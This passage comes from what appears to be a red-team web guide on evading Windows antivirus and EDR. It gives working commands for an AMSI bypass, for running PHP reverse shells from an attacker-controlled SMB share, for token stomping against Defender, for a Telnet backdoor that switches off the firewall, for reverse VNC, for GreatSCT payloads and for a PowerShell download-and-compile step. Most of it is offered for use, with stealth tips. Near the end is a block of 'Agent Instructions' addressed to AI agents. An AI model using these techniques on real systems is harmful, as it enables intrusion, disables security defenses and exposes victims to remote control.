**What it does**: * Loads and runs the C# assembly **within the same process** (i.e., your current beacon or agent process) ✅ **Benefits**: * No process creation = less noise * Faster and often stealthier than spawning child processes ❌ **Drawbacks**: * If the injected assembly crashes, it could crash your whole implant * Memory-based behavioral hooks may still catch the execution depending on how the code is structured 📌 Inline execution is often paired with **AMSI patching** and **ETW patching** for stealth. ### 🔧 Tools & Resources for In-Memory Assembly Execution Here are some great tools and references to help you implement this technique or study it deeper: **🔹** [**InlineExecute-Assembly BOF**](https://github.com/xforcered/InlineExecute-Assembly) * BOF (Beacon Object File) by xforcered that lets you execute .NET assemblies **inline from Cobalt Strike**, without writing them to disk. * Based on techniques covered in this article:\ [Inline .NET Assembly Execution (SecurityIntelligence)](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) *** **🔹** [**Invoke-SharpLoader**](https://github.com/anthemtotheego/Invoke-SharpLoader) * PowerShell script that loads compiled C# assemblies directly from memory. * Great for quick tests or integrating into custom scripts. *** **🔹** [**S3cur3Th1sSh1t's Video**](https://www.youtube.com/watch?v=kxIor98D-lY) * Practical red team demonstration of reflective assembly loading via C# and PowerShell. * Shows bypasses for AMSI, ETW, and more. {% hint style="warning" %} #### 🔐 AMSI Reminder **Before loading any assembly**, make sure you patch AMSI first. You can use: ```powershell [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) ``` Or use an obfuscated/custom variant to bypass Defender’s signature detection. {% endhint %} *** ## Using Other Programming Languages to Evade AV Detection When most people think about antivirus (AV) evasion, they focus on PowerShell, C#, or traditional shellcode. But there’s a powerful and often overlooked strategy: **leveraging other scripting languages** like **Go, Java, PHP, Python**, and more — especially in environments where those interpreters are not installed locally. This technique is described in detail in the open-source project [LOI-Bins](https://github.com/deeexcee-io/LOI-Bins). Here's how it works: ### 📂 How It Works – Step by Step 1. 🖥️ **Attacker Sets Up an SMB Share** * First, you create a network-shared folder on your system (e.g., using SMB) that contains: * The **language interpreter binary** (like `java.exe`, `php.exe`, `go.exe`, etc.) * Your **payload script** (e.g., a reverse shell written in PHP or Java) * Any necessary **runtime or environment files** 2. 🎯 **Victim Machine Accesses the SMB Share** * From the compromised host, you execute the language interpreter **directly from the SMB share** without copying it to disk. For example: ```cmd \\attacker-ip\share\php.exe \\attacker-ip\share\rev.php ``` * This executes your PHP script **in-memory** using the interpreter you provide — even if PHP is **not installed** on the target machine. 3. 💥 **Payload Executes with Minimal Detection** * Since the payload never touches the disk and the interpreter runs from the network share, you avoid many traditional AV detections. * Some AVs may still scan the content in memory, but because you’re using **non-standard languages**, you **bypass most static signatures** that typically target PowerShell, batch files, or common C# loaders. *** ### 🎯 Why This Works * 🛡️ **AV is tuned to catch common tools** like PowerShell, mshta, rundll32, etc. * 🧠 By using less common interpreters (like Go, Java, or PHP), you’re **operating outside of the usual detection patterns**. * ⚠️ While Microsoft Defender may still scan the script content in some cases, testing shows that even **plain reverse shells** written in these languages **often execute successfully**, especially when: * They are not obfuscated * Run from memory via SMB * Use custom or rarely used interpreters #### Example Let’s say you have a simple reverse shell written in PHP like this: ```php & /dev/tcp/attacker-ip/4444 0>&1'"); ?> ``` On the victim machine, you can run: ```cmd \\attacker-ip\share\php.exe \\attacker-ip\share\shell.php ``` This: * Doesn’t require PHP to be installed * Avoids dropping anything locally * Runs entirely from your attacker-controlled SMB share * Slips past many signature-based AV tools #### 🔐 Pro Tips * **Use uncommon versions** of interpreters (e.g., old Go or Java runtimes) to avoid hash-based detection. * **Digitally sign** the binaries if you're testing in a real-world red team engagement. * Combine with **network-level encryption** (like SMB over TLS) for better OPSEC. * Always test with different AVs — some may flag interpreter behavior, but many will not. *** ## Token Stomping **Token Stomping** is a lesser-known but powerful technique used to **disable or cripple antivirus (AV) and EDR products** without actually killing their processes. Unlike traditional process-killing attacks (which are loud and often trigger alerts), token stomping takes a **stealthier approach** — by stripping away the security product’s ability to do its job. Let’s break it down in a simple way: ### 🧠 What Are Access Tokens? In Windows, every process runs with a **security token** — a structure that contains information about: * The user account * Assigned privileges * Group memberships * Permissions to access system resources These tokens are **critical** for enforcing security boundaries. 🛡️ **Security tools like Defender and EDRs** rely on their tokens to: * Access memory of other processes * Scan files * Monitor network traffic * Hook into system APIs If you **strip privileges from their token**, the process is still alive — but **can no longer monitor your actions**. ### ⚔️ What is Token Stomping? **Token Stomping** involves modifying or overwriting the security token of a target process (like Defender or an EDR agent) to **reduce its privileges**. This makes the process **effectively blind**, while avoiding the aggressive behavior detections that would trigger if you killed it outright. Instead of terminating Defender or the EDR agent (which is noisy), you **silently neuter it**. #### 🔧 How It's Done The basic steps look like this: 1. 🧱 **Obtain a handle to the target process**\ (e.g., `MsMpEng.exe`, the Defender engine) 2. 🔐 **Open its access token using `OpenProcessToken()`** 3. ✂️ **Strip or replace token privileges** * You can remove things like `SeDebugPrivilege`, `SeLoadDriverPrivilege`, etc. * This prevents the security process from attaching to or scanning other processes 4. ✅ **The process stays alive** — but can no longer interact with protected memory, drivers, or advanced system features. ### Tools That Implement Token Stomping Here are real-world tools that use or demonstrate this technique: * 🔨 [**KillDefender**](https://github.com/pwn1sher/KillDefender/)\ A C++ PoC that removes Defender’s ability to scan and act by manipulating tokens. * 🧬 [**TokenStomp**](https://github.com/MartinIngesen/TokenStomp)\ Allows you to "stomp" a token and replace it with another — often used to clone and hijack privileges from a different process. * 🧩 [**TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF)\ A Cobalt Strike Beacon Object File that removes dangerous privileges from tokens at runtime, effectively blinding EDRs. *** ## Old But Gold: Legacy AV Evasion Techniques That Still Work (Sometimes) While modern AV and EDR solutions have grown smarter, some older techniques continue to work in certain environments — especially on outdated systems or poorly configured networks. This section covers legacy but useful tricks to bypass antivirus detection, execute payloads, and maintain persistence. Use them wisely — they’re noisy, but still relevant in real-world red teaming. *** ### 🔬 Identify What Triggers Defender: ThreatCheck & AVRed Before wasting time rebuilding your payload, you can pinpoint what Defender is detecting. These tools help isolate the exact malicious portion: * 🔍 [**ThreatCheck**](https://github.com/atc-project/threatcheck): Automatically removes chunks of your binary until the flagged segment is identified. * 🌐 [**AVRed**](https://avred.r00ted.ch/): Web-based utility that lets you test scripts or files to see what’s being detected and why. > 💡 Ideal for testing obfuscation, shellcode, or compiled payloads before final delivery. *** ### 📡 Telnet Server Abuse (Windows 7–10) Before PowerShell became the go-to for scripting, attackers used **Telnet Server** for backdoors. This technique works only on older Windows versions (pre-Windows 10) and still appears in legacy systems. Install Telnet Server and configure it: ```bash pkgmgr /iu:"TelnetServer" /quiet sc config TlntSVR start= auto obj= localsystem tlntadmn config port=80 netsh advfirewall set allprofiles state off ``` > ⚠️ Mostly obsolete, but still works in older internal networks or OT devices. *** ### 🖥️ UltraVNC for Reverse VNC Connections [UltraVNC](http://www.uvnc.com/downloads/ultravnc.html) is a legit remote desktop tool that supports **reverse connections** — a feature that can be abused for stealthy remote access. **Setup:** 1. Download `winvnc.exe` and configure it: * Disable TrayIcon * Set VNC and View-Only passwords 2. Transfer both `winvnc.exe` and `UltraVNC.ini` to the target 3. On your machine: ```bash vncviewer.exe -listen 5900 ``` 4. On the victim: ```bash winvnc.exe -run -autoreconnect -connect ::5900 ``` > 🕵️ **Stealth Tips:** * Don’t launch it twice (triggers a popup) * Ensure the `.ini` file is present * Never run it without config, or it’ll open a visible GUI *** ### 💉 GreatSCT Payload Generation [GreatSCT](https://github.com/GreatSCT/GreatSCT) is a tool for generating AV-evasive payloads, mainly using `msbuild.exe` execution. Install and generate: ```bash git clone https://github.com/GreatSCT/GreatSCT.git cd GreatSCT/setup/ ./setup.sh cd .. ./GreatSCT.py ``` Generate a payload: ```bash use 1 list use 9 set lhost 10.10.14.0 set lport 4444 generate ``` Then execute it on target: ```bash C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml ``` > ❌ This may be detected immediately by Defender in modern environments. Combine it with AMSI and ETW patching for better results. *** ### 🛠️ Building Your Own Reverse Shell Compiling your own payloads is one of the most effective ways to **bypass signature-based detection**. **🧬 C# Reverse Shell (Example by BankSecurity)** Compile it with: ```bash csc.exe /t:exe /out:back2.exe Back1.cs ``` Run it: ```bash back2.exe ``` 📄 Example Source:\ *** ### 📦 Automated Shell Execution with Compiler Use `.NET` compilers to compile and run payloads at runtime: ```bash Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell ``` Example: ```powershell # 64-bit powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/.../REV.txt', '.\REV.txt') }" ... Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell ``` > 📚 Source: [BankSecurity’s workflow compiler guide](https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f) *** #### 🔐 Obfuscation Tools (C#, .NET, C++) Basic obfuscation can help evade static analysis. Use these tools to hide logic, encrypt strings, or morph control flow: * ✅ [.NET Obfuscator List](https://github.com/NotPrab/.NET-Obfuscator) * 🔁 [ConfuserEx](https://github.com/yck1509/ConfuserEx) * 🧬 [Donut](https://github.com/TheWover/donut) – Shellcode loader * 🛠️ [SharpShooter](https://github.com/mdsecactivebreach/SharpShooter) – For generating HTA, VBS, JS payloads * 🔗 [Veil Framework](https://github.com/Veil-Framework/Veil) * 🐚 [Shellter](https://www.shellterproject.com/download/) * 🔥 [Vulcan](https://github.com/praetorian-code/vulcan) – PE manipulation * [peekaboo](https://github.com/cocomelonc/peekaboo): Python-based shellcode injectors for Windows * [Grouper2](https://github.com/l0ss/Grouper2): Exploits Active Directory misconfigs For C++: ```bash sudo apt install mingw-w64 i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -static-libstdc++ -static-libgcc ``` *** {% embed url="" %} {% hint style="success" %} Learn & practice [**For the Bug Bounty**](https://shop.verylazytech.com)
Support VeryLazyTech 🎉 * Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! 🎁** * **Follow** us on: * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.** * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.** * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.** * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.** * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.** * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.** * Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. 📚
{% endhint %} --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://www.verylazytech.com/windows/antivirus-av-bypass.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.